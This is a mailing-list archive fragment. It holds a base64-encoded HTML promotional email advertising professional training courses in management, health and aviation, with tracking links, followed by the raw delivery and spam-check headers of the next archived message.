cGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJpYWws IHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPiZuYnNwOzwvc3Bh bj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlh bCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PHN0cm9uZz5F WEVDVVRJVkUgJmFtcDsgTEVBREVSU0hJUCBERVZFTE9QRU1FTlQgQ09VUlNFUzwvc3Ryb25n PjwvcD48dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAi IHdpZHRoPSI5NDEiIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWls eTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPjx0 Ym9keT48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RUxEPC9zdHJvbmc+ PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5DT1VSU0UgVElUTEU8L3N0 cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkR1cmF0aW9uPC9z dHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EYXRlczwvc3Ry b25nPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAx PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWR2YW5jZWQgTGVhZGVy c2hpcCBEZXZlbG9wbWVudCBQcm9ncmFtbWU8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjIgRmViIC0gMDQgTWFy IC8gNCAtIDE1IEF1ZyAvIDEwIC0gMjEgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+PHN0cm9uZz4wMDI8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij5Pcmdhbml6YXRpb25hbCBSZXN0cnVjdHVyaW5nIEFuZCBDaGFuZ2UgTWFuYWdl bWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4wNCAtIDE1IEFwciAvIDA0IC0gMTUgSnVsIC8gMjQgT2N0IC0g MDQgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4w MDM8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5BZHZhbmNlZCBQdWJs aWMgQWRtaW5pc3RyYXRpb24gJmFtcDsgTWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA3IC0gMTEg QXByIC8gMTcgLSAyMSBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij48c3Ryb25nPjAwNDwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPlN0 cmF0ZWdpYyBMZWFkZXJzaGlwIERldmVsb3BtZW50IFByb2dyYW1tZTwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIy IEZlYiAtIDI4IEZlYiAvIDI4IEp1bCAtIDAxIEF1ZyAvIDEwIC0gMTQgTm92PC90ZD48L3Ry Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDU8L3N0cm9uZz48L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5TdHJhdGVnaWMgV29tZW4gTGVhZGVyc2hpcCBE ZXZlbG9wbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjI5IEZlYiAtIDA0IE1hciAvIDIwIC0gMjQgSnVuIC8g MDMgLSAwNyBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ry b25nPjAwNjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkNvcnBvcmF0 ZSBHb3Zlcm5hbmNlIEFuZCBPcmdhbml6YXRpb24gRGV2ZWxvcG1lbnQ8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ MjIgRmViIC0gMDQgTWFyIC8gNCAtIDE1IEF1ZyAvIDEwIC0gMjEgTm92PC90ZD48L3RyPjx0 cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDc8L3N0cm9uZz48L3RkPjx0 ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5TcG9ydHMgTWFuYWdlbWVudCBhbmQgQWRtaW5pc3Ry YXRpb248L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+MjIgRmViIC0gMDQgTWFyIC8gNCAtIDE1IEF1ZyAvIDEwIC0g MjEgTm92PC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBweDtw YWRkaW5nOjBweDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250 LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czog MTsiPiZuYnNwOzwvc3Bhbj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZv bnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dz OiAxOyI+PHN0cm9uZz5IRUFMVEggQU5EIE1FRElDQUwgU0NJRU5DRVMgQ09VUlNFUzwvc3Ry b25nPjwvcD48dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9 IjAiIHdpZHRoPSI5NDEiIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZh bWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsi Pjx0Ym9keT48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RUxEPC9zdHJv bmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5DT1VSU0UgVElUTEU8 L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkR1cmF0aW9u PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EYXRlczwv c3Ryb25nPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+ MDAxPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+T2NjdXBhdGlvbmFs IGhlYWx0aCBhbmQgc2FmZXR5IENvdXJzZTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yMiBGZWIgLSAwNCBNYXIg LyA0IC0gMTUgQXVnIC8gMTAgLSAyMSBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij48c3Ryb25nPjAwMjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPkhlYWx0aCBBZG1pbmlzdHJhdGlvbiBQcm9ncmFtbWU8L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQg LSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAzPC9zdHJvbmc+PC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+UHJhY3RpY2UgTWFuYWdlbWVudCBQcm9ncmFtbWU8L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4wNyAtIDExIEFwciAvIDE3IC0gMjEgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij5ISVYgYW5kIEFJRFMgY291c2VsbGluZ1Byb2dyYW1tZTwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjIyIEZlYiAtIDI4IEZlYiAvIDI4IEp1bCAtIDAxIEF1ZyAvIDEwIC0gMTQgTm92PC90 ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDU8L3N0cm9u Zz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5IZWFsdGggUHJvbW90aW9uIENvdXJz ZTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPjI5IEZlYiAtIDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBP Y3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNjwv c3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPk51dHJpdGlvbmFsIE1lZGlj aW5lIFByb2dyYW1tZTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yMiBGZWIgLSAwNCBNYXIgLyA0IC0gMTUgQXVn IC8gMTAgLSAyMSBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48 c3Ryb25nPjAwNzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkNvbXBs ZW1lbnRhcnkgSGVhbHRoIFRoZXJhcGlzdCBDb3Vyc2U8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjIgRmViIC0g MDQgTWFyIC8gNCAtIDE1IEF1ZyAvIDEwIC0gMjEgTm92PC90ZD48L3RyPjwvdGJvZHk+PC90 YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBweDtwYWRkaW5nOjBweDsiPjxiciBzdHlsZT0iY29s b3I6IHJnYigzNCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IGFyaWFsLCBzYW5zLXNlcmlmOyBm b250LXNpemU6IHNtYWxsOyB3aWRvd3M6IDE7Ij48c3Ryb25nPkFWSUFUSU9OIENPVVJTRVM8 L3N0cm9uZz48L3A+PHRhYmxlIGJvcmRlcj0iMSIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFj aW5nPSIwIiB3aWR0aD0iOTM2IiBzdHlsZT0iY29sb3I6IHJnYigzNCwgMzQsIDM0KTsgZm9u dC1mYW1pbHk6IGFyaWFsLCBzYW5zLXNlcmlmOyBmb250LXNpemU6IHNtYWxsOyB3aWRvd3M6 IDE7Ij48dGJvZHk+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkFDPC9z dHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5DT1VSU0UgVElU TEU8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkR1cmF0 aW9uPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EYXRl czwvc3Ryb25nPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+MDAxPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWVyb25hdXRp Y2FsIEluZm9ybWF0aW9uIE1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjIgRmViIC0gMDQgTWFy IC8gNCAtIDE1IEF1ZyAvIDEwIC0gMjEgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+PHN0cm9uZz4wMDI8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij5BaXJ3b3J0aGluZXNzIEluc3BlY3RvcnM8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBB cHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0 eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAzPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9 Im1hcmdpbjogMHB4OyI+QXZpb25pY3MgSW5zcGVjdGlvbnMgRnVuZGFtZW50YWxzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwgLyAyNCBPY3QgLSAwNCBOb3Y8L3Rk PjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNDwvc3Ryb25n PjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkF2aWF0aW9uIFNlY3VyaXR5IE1hbmFn ZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+MjIgRmViIC0gMDQgTWFyIC8gNCAtIDE1IEF1ZyAvIDEwIC0g MjEgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4w MDU8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5BdmlvbmljcyBUZXN0 IGFuZCBNZWFzdXJpbmcgRXF1aXBtZW50IENvdXJzZTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5IEZl YiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPkZsaWdodCBPcGVyYXRpb25zIEluc3BlY3RvciBDb3Vyc2U8L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90 cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA3PC9zdHJvbmc+PC90 ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UGVyc29ubmVsIExpY2Vuc2luZzwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+ PC90Ym9keT48L3RhYmxlPjxwcmUgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IHdp ZG93czogMTsiPiAKCiZsdDtwcmUmZ3Q7VmlzaXQgJmx0O2EgaHJlZj0iaHR0cDovL0xVRTYu dHJrLmVsYXN0aWNlbWFpbC5jb20vdHJhY2tpbmcvY2xpY2s/bXNnaWQ9aF9Zd0N3SWtEblI1 NWdkb1JaZWE5QTImdGFyZ2V0PWh0dHAlM2ElMmYlMmZ3d3cuYWlhdGVkdS5vcmclMmZyZWcl MmZvbmxpbmUtZm9ybSZ2PXBHWDFxLTM2ZXdRMlhGLXE2U19lekEyIiB0YXJnZXQ9Il9ibGFu ayImZ3Q7aHR0cDovL3d3dy5haWF0ZWR1Lm9yZy9yZWcvb25saW5lLWZvcm0mbHQ7L2EmZ3Q7 IHRvIHJlZ2lzdGVyLjwvcHJlPjxwcmU+QXR0ZW5kIHNhbWUgY291cnNlIHdpdGggMyBjb2xs ZWFndWVzIGFuZCB0cmFpbiBmb3IgZnJlZS48L3ByZT48cHJlPkFsbCBDb3Vyc2VzIGNvbWVz IHdpdGggYSBmcmVlIFNhbXN1bmcgVGFiIG9yIEhQIFdpbmRvd3MgMTAgTGFwdG9wCiAKTG9v a2luZyBmb3J3YXJkIHRvIHdlbGNvbWluZyB5b3UuPC9wcmU+Ck1zLiBUYW5lbGU8L2Rpdj48 ZGl2PkFmcmljYW4gaW5zdGl0dXRlIG9mIEFkdmFuY2VkIFRyYWluaW5nPC9kaXY+PGRpdj5Q QVJLVklFVyBTT0VURE9SSU5HIFNUUjwvZGl2PjxkaXY+S0xJUFBPT1JUSklFIC0gQk9LU0JV Ukc8L2Rpdj48ZGl2PlNPVVRIIEFGUklDQSAxNDI4PC9kaXY+PGRpdj5QaG9uZTogKzI2ODc2 OTk2MTQ5PC9kaXY+PGRpdj5QaG9uZTogKzI3NzM0ODkyMTA2PC9kaXY+PGRpdj5GYXg6ICsy Nzg2MjQ0MTk5NDwvZGl2PjxkaXY+RmFjZWJvb2s6PGEgaHJlZj0iaHR0cDovL0xVRTYudHJr LmVsYXN0aWNlbWFpbC5jb20vdHJhY2tpbmcvY2xpY2s/bXNnaWQ9aF9Zd0N3SWtEblI1NWdk b1JaZWE5QTImdGFyZ2V0PWh0dHAlM2ElMmYlMmZ3d3cuZmFjZWJvb2suY29tJTJmQUlBVFJB SU5JTkcmdj1CTldZWGEzMVJuWmRvbUpiaGFycmp3MiIgc3R5bGU9ImNvbG9yOiM4MjgyODI7 Zm9udC1zaXplOjEycHg7Zm9udC1mYW1pbHk6SGVsdmV0aWNhLEFyaWFsLHNhbnMtc2VyaWY7 dGV4dC1kZWNvcmF0aW9uOm5vbmU7Ij53d3cuZmFjZWJvb2suY29tL0FJQVRSQUlOSU5HPC9h PjwvZGl2PjxkaXY+VHdpdHRlcjogQGFpYXRyYWluaW5nPC9kaXY+PGRpdj53ZWI6IDxhIGhy ZWY9Imh0dHA6Ly9MVUU2LnRyay5lbGFzdGljZW1haWwuY29tL3RyYWNraW5nL2NsaWNrP21z Z2lkPWhfWXdDd0lrRG5SNTVnZG9SWmVhOUEyJnRhcmdldD1odHRwJTNhJTJmJTJmd3d3LmFp YXRlZHUub3JnJnY9MkFlTDZnNnVzeWxUcDIyZndpQ25IUTIiIHN0eWxlPSJjb2xvcjojODI4 MjgyO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OkhlbHZldGljYSxBcmlhbCxzYW5zLXNl cmlmO3RleHQtZGVjb3JhdGlvbjpub25lOyI+d3d3LmFpYXRlZHUub3JnPC9hPjwvZGl2Pjxw IHN0eWxlPSJtYXJnaW46MHB4O3BhZGRpbmc6MHB4OyI+PGJyPjwvcD48L3RkPiAgICAgICAg ICAgICAgICAgICAgICAgPC90cj4gICAgICAgICAgICAgICAgICAgPC90Ym9keT4gICAgICAg ICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgPC9kaXY+PCEtLVtpZiAoZ3RlIG1zbyA5KXwo SUUpXT48L3RkPjwvdHI+PC90YWJsZT48IVtlbmRpZl0tLT4gICAgICAgPC90ZD4gICA8L3Ry PiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+ICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dGQgY2xhc3M9ImRyb3ciIHZhbGlnbj0idG9wIiBhbGlnbj0iY2VudGVy IiBzdHlsZT0iYm94LXNpemluZzpib3JkZXItYm94O2ZvbnQtc2l6ZTowcHg7dGV4dC1hbGln bjpjZW50ZXI7YmFja2dyb3VuZC1jb2xvcjojZmZmZmZmOyI+ICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPCEtLVtpZiAoZ3RlIG1zbyA5KXwoSUUpXT48dGFibGUgd2lk dGg9IjEwMCUiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0i MCIgYm9yZGVyPSIwIj48dHI+PHRkPjwhW2VuZGlmXS0tPjxkaXYgY2xhc3M9ImxheWVyXzIi IHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazt2ZXJ0aWNhbC1hbGlnbjp0b3A7d2lkdGg6 MTAwJTttYXgtd2lkdGg6ODAwcHg7Ij4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPHRhYmxlIGNsYXNzPSJlZGNvbnRlbnQiIHN0eWxlPSJib3JkZXItY29sbGFw c2U6IGNvbGxhcHNlO3dpZHRoOjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjEwIiBj ZWxsc3BhY2luZz0iMCI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dGJvZHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHRyPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8dGQgY2xhc3M9ImVkdGV4dCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ0ZXh0LWFs aWduOmxlZnQ7Y29sb3I6IzVmNWY1Zjtmb250LXNpemU6MTJweDtmb250LWZhbWlseTpIZWx2 ZXRpY2EsQXJpYWwsc2Fucy1zZXJpZjt3b3JkLWJyZWFrOmJyZWFrLXdvcmQ7ZGlyZWN0aW9u Omx0cjtib3gtc2l6aW5nOmJvcmRlci1ib3g7Ij4gICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIHN0eWxlPSJtYXJnaW46MHB4O3Bh ZGRpbmc6MHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToxMXB4OyI+ICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWYg eW91IG5vIGxvbmdlciB3aXNoIHRvIHJlY2VpdmUgbWFpbCBmcm9tIHVzLCB5b3UgY2FuICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPGEgaHJlZj0iaHR0cDovL0xVRTYudHJrLmVsYXN0aWNlbWFpbC5jb20vdHJhY2tpbmcv dW5zdWJzY3JpYmU/bXNnaWQ9aF9Zd0N3SWtEblI1NWdkb1JaZWE5QTIiIHN0eWxlPSJjb2xv cjojODI4MjgyO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OkhlbHZldGljYSxBcmlhbCxz YW5zLXNlcmlmO3RleHQtZGVjb3JhdGlvbjpub25lO2JhY2tncm91bmQtY29sb3I6aW5pdGlh bDsiPnVuc3Vic2NyaWJlPC9hPiA8YnI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFmcmljYSBJ bnN0aXR1dGUgb2YgQWR2YW5jZWQgVHJhaW5pbmcsIEVtYmFzc3kgSG91c2UgLCBNYmFiYW5l LCBIaG9oaG8sIEgxMDAsIHd3dy5haWF0ZWR1Lm9yZyAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8L3A+ICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4gICAgICAgICAg ICAgICAgICAgICAgIDwvdHI+ICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+ICAgICAgICAg ICAgICAgPC90YWJsZT4gICAgICAgICAgIDwvZGl2PjwhLS1baWYgKGd0ZSBtc28gOSl8KElF KV0+PC90ZD48L3RyPjwvdGFibGU+PCFbZW5kaWZdLS0+ICAgICAgIDwvdGQ+ICAgPC90cj4g ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+PC90YWJsZT4gICAgICAgICAg ICAgICA8IS0tW2lmIChndGUgbXNvIDkpfChJRSldPjwvdGQ+PC90cj48L3RhYmxlPjwhW2Vu ZGlmXS0tPjwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PGltZyBzcmM9Imh0dHA6Ly9MVUU2 LnRyay5lbGFzdGljZW1haWwuY29tL3RyYWNraW5nL29wZW4/bXNnaWQ9aF9Zd0N3SWtEblI1 NWdkb1JaZWE5QTIiIHN0eWxlPSJ3aWR0aDoxcHg7aGVpZ2h0OjFweCIgYWx0PSIiIC8+PC9i b2R5PjwvaHRtbD4= From noreply@aiatedu.org Sun Oct 2 14:37:24 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.4 required=5.0 tests=FREEMAIL_FORGED_REPLYTO, HTML_MESSAGE,MIME_HTML_ONLY,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 383C07CA4 for ; Sun, 2 Oct 2016 14:37:24 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0C02A8F8033 for ; Sun, 2 Oct 2016 12:37:23 -0700 (PDT) X-ASG-Debug-ID: 1475437040-0bf57b1e92cc1d0001-S8gJnT Received: from picconi.debian.org (picconi.debian.org [5.153.231.3]) by cuda.sgi.com with ESMTP id dfUaTIQwHE2XL5oK (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sun, 02 Oct 2016 12:37:21 -0700 (PDT) X-Barracuda-Envelope-From: noreply@aiatedu.org X-Barracuda-Effective-Source-IP: picconi.debian.org[5.153.231.3] X-Barracuda-Apparent-Source-IP: 5.153.231.3 Received: from m229.mxout.mta4.net ([67.227.85.229]) by picconi.debian.org with esmtps (TLS1.0:ECDHE_RSA_AES_256_CBC_SHA1:256) (Exim 4.84_2) (envelope-from ) id 1bqmZK-0003CJ-QK for pcp-gui@packages.debian.org; Sun, 02 Oct 2016 19:37:17 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=aiatedu.org; h=MIME-Version:Subject:Date:From:Reply-To:To:Message-ID:List-Unsubscribe:Content-Type; q=dns/txt; s=api; t=1475436965; bh=Xl38ooWr1FCNlJXK3AW+EiPy1QllRgLdu+OIieKJ2HY=; b= fsODvA+ZhXWXCgwwOL851vOe3OC2mhl83LIbI3aZbzcsSjpsjxnm8fwAC+x2B5RYNZ3EA1GDj2RwlT9h7LfGgyclwkYfBXCVAnLk+ZJRckzlJLLyOI7is19u9ai5JszvFdSv5+e8dX7wrMqwGxOTciPqd7UKwGIDcMWMBcSohNc= DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=elasticemail.com; 